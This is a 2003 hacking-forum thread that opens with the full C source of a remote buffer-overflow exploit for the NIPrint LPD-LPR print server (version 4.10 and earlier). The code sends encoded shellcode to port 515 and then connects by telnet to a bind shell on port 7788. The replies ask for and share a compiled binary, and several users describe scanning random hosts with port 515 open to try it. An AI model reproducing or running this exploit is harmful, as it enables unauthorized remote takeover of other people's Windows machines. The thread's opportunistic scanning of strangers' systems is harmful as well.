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Niprint Lpd-lpr Print Server <= 4.10 Remote Exp. i'm back again :)

#1 User is offline   woutiir 

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Posted 04 November 2003 - 01:28 PM

Hey ppl, i thought it was time to post something again (been a long time i know) been busy with all kind of things
I hope you enjoy this one, i saw there was a perl version of it.
Tho , C simply rules ;)

Here ya go:

/*
\	remote exploit for NIPrint LPD-LPR Print Server (Version <= 4.10)
/
\	by xCrZx /BLack Sand Project/ /04.11.03/
/
\	bug found by KF
/	successfully tested on Win XP 5.1.2600
/	P.S.#1 coded just for fun...
\	P.S.#2 this exploit can be compiled under Win32 and *nix
*/


#ifdef _WIN32

 #include <winsock.h>
 #include <windows.h>

#else

 #include <netinet/in.h>  
 #include <netdb.h>
 #include <sys/types.h>
 #include <sys/socket.h>
 #include <sys/stat.h>
 #include <fcntl.h>
 #include <unistd.h>
 #include <errno.h>

#endif

#include <stdio.h>

// JMP ESP ADDRESS (in Win XP 5.1.2600)
#define RET 0x77F5801c
#define SHELL 7788

char shellcode[] =

        "\x90\xeb\x03\x5d\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc5\x15\x90\x90"
        "\x90\x8b\xc5\x33\xc9\x66\xb9\x10\x03\x50\x80\x30\x97\x40\xe2\xfa"
        "\x7e\x8e\x95\x97\x97\xcd\x1c\x4d\x14\x7c\x90\xfd\x68\xc4\xf3\x36"
        "\x97\x97\x97\x97\xc7\xf3\x1e\xb2\x97\x97\x97\x97\xa4\x4c\x2c\x97"
        "\x97\x77\xe0\x7f\x4b\x96\x97\x97\x16\x6c\x97\x97\x68\x28\x98\x14"
        "\x59\x96\x97\x97\x16\x54\x97\x97\x96\x97\xf1\x16\xac\xda\xcd\xe2"
        "\x70\xa4\x57\x1c\xd4\xab\x94\x54\xf1\x16\xaf\xc7\xd2\xe2\x4e\x14"
        "\x57\xef\x1c\xa7\x94\x64\x1c\xd9\x9b\x94\x5c\x16\xae\xdc\xd2\xc5"
        "\xd9\xe2\x52\x16\xee\x93\xd2\xdb\xa4\xa5\xe2\x2b\xa4\x68\x1c\xd1"
        "\xb7\x94\x54\x1c\x5c\x94\x9f\x16\xae\xd0\xf2\xe3\xc7\xe2\x9e\x16"
        "\xee\x93\xe5\xf8\xf4\xd6\xe3\x91\xd0\x14\x57\x93\x7c\x72\x94\x68"
        "\x94\x6c\x1c\xc1\xb3\x94\x6d\xa4\x45\xf1\x1c\x80\x1c\x6d\x1c\xd1"
        "\x87\xdf\x94\x6f\xa4\x5e\x1c\x58\x94\x5e\x94\x5e\x94\xd9\x8b\x94"
        "\x5c\x1c\xae\x94\x6c\x7e\xfe\x96\x97\x97\xc9\x10\x60\x1c\x40\xa4"
        "\x57\x60\x47\x1c\x5f\x65\x38\x1e\xa5\x1a\xd5\x9f\xc5\xc7\xc4\x68"
        "\x85\xcd\x1e\xd5\x93\x1a\xe5\x82\xc5\xc1\x68\xc5\x93\xcd\xa4\x57"
        "\x3b\x13\x57\xe2\x6e\xa4\x5e\x1d\x99\x13\x5e\xe3\x9e\xc5\xc1\xc4"
        "\x68\x85\xcd\x3c\x75\x7f\xd1\xc5\xc1\x68\xc5\x93\xcd\x1c\x4f\xa4"
        "\x57\x3b\x13\x57\xe2\x6e\xa4\x5e\x1d\x99\x17\x6e\x95\xe3\x9e\xc5"
        "\xc1\xc4\x68\x85\xcd\x3c\x75\x70\xa4\x57\xc7\xd7\xc7\xd7\xc7\x68"
        "\xc0\x7f\x04\xfd\x87\xc1\xc4\x68\xc0\x7b\xfd\x95\xc4\x68\xc0\x67"
        "\xa4\x57\xc0\xc7\x27\x9b\x3c\xcf\x3c\xd7\x3c\xc8\xdf\xc7\xc0\xc1"
        "\x3a\xc1\x68\xc0\x57\xdf\xc7\xc0\x3a\xc1\x3a\xc1\x68\xc0\x57\xdf"
        "\x27\xd3\x1e\x90\xc0\x68\xc0\x53\xa4\x57\x1c\xd1\x63\x1e\xd0\xab"
        "\x1e\xd0\xd7\x1c\x91\x1e\xd0\xaf\xa4\x57\xf1\x2f\x96\x96\x1e\xd0"
        "\xbb\xc0\xc0\xa4\x57\xc7\xc7\xc7\xd7\xc7\xdf\xc7\xc7\x3a\xc1\xa4"
        "\x57\xc7\x68\xc0\x5f\x68\xe1\x67\x68\xc0\x5b\x68\xe1\x6b\x68\xc0"
        "\x5b\xdf\xc7\xc7\xc4\x68\xc0\x63\x1c\x4f\xa4\x57\x23\x93\xc7\x56"
        "\x7f\x93\xc7\x68\xc0\x43\x1c\x67\xa4\x57\x1c\x5f\x22\x93\xc7\xc7"
        "\xc0\xc6\xc1\x68\xe0\x3f\x68\xc0\x47\x14\xa8\x96\xeb\xb5\xa4\x57"
        "\xc7\xc0\x68\xa0\xc1\x68\xe0\x3f\x68\xc0\x4b\x9c\x57\xe3\xb8\xa4"
        "\x57\xc7\x68\xa0\xc1\xc4\x68\xc0\x6f\xfd\xc7\x68\xc0\x77\x7c\x5f"
        "\xa4\x57\xc7\x23\x93\xc7\xc1\xc4\x68\xc0\x6b\xc0\xa4\x5e\xc6\xc7"
        "\xc1\x68\xe0\x3b\x68\xc0\x4f\xfd\xc7\x68\xc0\x77\x7c\x3d\xc7\x68"
        "\xc0\x73\x7c\x69\xcf\xc7\x1e\xd5\x65\x54\x1c\xd3\xb3\x9b\x92\x2f"
        "\x97\x97\x97\x50\x97\xef\xc1\xa3\x85\xa4\x57\x54\x7c\x7b\x7f\x75"
        "\x6a\x68\x68\x7f\x05\x69\x68\x68\xdc\xc1\x70\xe0\xb4\x17\x70\xe0"
        "\xdb\xf8\xf6\xf3\xdb\xfe\xf5\xe5\xf6\xe5\xee\xd6\x97\xdc\xd2\xc5"
        "\xd9\xd2\xdb\xa4\xa5\x97\xd4\xe5\xf2\xf6\xe3\xf2\xc7\xfe\xe7\xf2"
        "\x97\xd0\xf2\xe3\xc4\xe3\xf6\xe5\xe3\xe2\xe7\xde\xf9\xf1\xf8\xd6"
        "\x97\xd4\xe5\xf2\xf6\xe3\xf2\xc7\xe5\xf8\xf4\xf2\xe4\xe4\xd6\x97"
        "\xd4\xfb\xf8\xe4\xf2\xdf\xf6\xf9\xf3\xfb\xf2\x97\xc7\xf2\xf2\xfc"
        "\xd9\xf6\xfa\xf2\xf3\xc7\xfe\xe7\xf2\x97\xd0\xfb\xf8\xf5\xf6\xfb"
        "\xd6\xfb\xfb\xf8\xf4\x97\xc0\xe5\xfe\xe3\xf2\xd1\xfe\xfb\xf2\x97"
        "\xc5\xf2\xf6\xf3\xd1\xfe\xfb\xf2\x97\xc4\xfb\xf2\xf2\xe7\x97\xd2"
        "\xef\xfe\xe3\xc7\xe5\xf8\xf4\xf2\xe4\xe4\x97\x97\xc0\xc4\xd8\xd4"
        "\xdc\xa4\xa5\x97\xe4\xf8\xf4\xfc\xf2\xe3\x97\xf5\xfe\xf9\xf3\x97"
        "\xfb\xfe\xe4\xe3\xf2\xf9\x97\xf6\xf4\xf4\xf2\xe7\xe3\x97\xe4\xf2"
        "\xf9\xf3\x97\xe5\xf2\xf4\xe1\x97\x95\x97\x89\xfb\x97\x97\x97\x97"
        "\x97\x97\x97\x97\x97\x97\x97\x97\xf4\xfa\xf3\xb9\xf2\xef\xf2\x97"
        "\x68\x68\x68\x68";


long getip(char *hostname) {
	struct hostent *he;
	long ipaddr;
	
	if ((ipaddr = inet_addr(hostname)) < 0) {
  if ((he = gethostbyname(hostname)) == NULL) {
 	 perror("gethostbyname()");
 	 exit(-1);
  }
  memcpy(&ipaddr, he->h_addr, he->h_length);
	}	
	return ipaddr;
}

int main(int argc, char **argv) {

#ifdef _WIN32
	WSADATA wsaData;
#endif

	int sock;
	struct sockaddr_in sockstruct;
	char tmp[2000];


	if(!argv[1]) { printf("Usage: %s <address>\n",argv[0]);exit(0); }

#ifdef _WIN32

	if(WSAStartup(0x101,&wsaData)){
        printf("Unable to initialize WinSock lib.\n");
        exit(0);
	}

#endif

	memset(sockstruct.sin_zero,0x00,sizeof(sockstruct.sin_zero));
	sock=socket(PF_INET,SOCK_STREAM,0);
	sockstruct.sin_family=PF_INET; 
   	 sockstruct.sin_addr.s_addr=getip(argv[1]);
   	 sockstruct.sin_port=htons(515);

	if(connect(sock,(struct sockaddr*)&sockstruct,sizeof(sockstruct))>-1) {

     printf("[+] Connected to %s:515!\n",argv[1]);

  memset(tmp,0x00,sizeof tmp);
  memset(tmp,0x41,49);
  *(long *)&tmp[strlen(tmp)]=RET;
  memset(tmp+strlen(tmp),0x90,50);
  memcpy(tmp+strlen(tmp),&shellcode,strlen(shellcode));
  send(sock,tmp,strlen(tmp),0);
  printf("[+] Exploit code was sent!\n");
    }

#ifdef _WIN32
	closesocket(sock);
	WSACleanup();
#else
	close(sock);
#endif

	printf("[+] Connecting to %s:%d\n",argv[1],SHELL);
	sprintf(tmp,"telnet %s %d\n",argv[1],SHELL);
	system(tmp);
	printf("[-] Not connected! NIPrint probably not vulnerable!\n");

	return 0;
}

/* woutiir 0wnZ YoU */


Enjoy it!
Greetings, woutiir
0

#2 Guest_T3cHn0b0y_*

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Posted 04 November 2003 - 02:19 PM

Where can I download the patch for this vulnerability and could post the executable for us to test our systems? I know nothing about C :(
0

#3 Guest_Anddos_*

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Posted 04 November 2003 - 04:00 PM

wheres the compiled version ?
0

#4 User is offline   JDog45 

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Posted 04 November 2003 - 03:52 PM

#define SHELL 7788 < would be the port to scan for?
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#5 User is offline   agathos 

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Posted 04 November 2003 - 04:13 PM

yo compiled version is here :>

niprint compiled version

EDIT:

You need to have MS .NET Framework installed to start the programm

MS .NET Framework
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#6 User is offline   JdEeZy 

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Posted 04 November 2003 - 04:14 PM

Scan port 515... so far I've had no luck with any...
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#7 Guest_Anddos_*

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Posted 04 November 2003 - 04:38 PM

has that file been scaned for trojans?
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#8 User is offline   agathos 

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Posted 04 November 2003 - 04:52 PM

im not a noob that hides any trojans !!
i have checked and compiled it myself
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#9 Guest_Anddos_*

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Posted 04 November 2003 - 05:17 PM

do u need any other files to run it
it wont load for me
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#10 User is offline   agathos 

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Posted 04 November 2003 - 05:39 PM

nope i have only installed MSVC
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#11 Guest_Anddos_*

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Posted 04 November 2003 - 05:50 PM

so when u go to cmd and try to open it
do u not get any erorrs ?
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#12 User is offline   ssj4conejo 

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Posted 04 November 2003 - 10:31 PM

Compiles fine in linux, and i've scanned for some but so far, had no luck in gettin a shell, btu there are many with port 515 open... just seem not to be the version or maybe the exploit is broken. :o
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#13 Guest_yuliang11_*

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Posted 04 November 2003 - 11:44 PM

thanks man
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#14 User is offline   GhostCow 

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Posted 05 November 2003 - 03:35 AM

any chance there's a scanner out there?
woutir you got any more info about it? is it private?
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#15 Guest_T3cHn0b0y_*

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Posted 05 November 2003 - 08:08 AM

ok...thanx for compiling. What are the parameters to run this exploit? Username? Password? OS Type?
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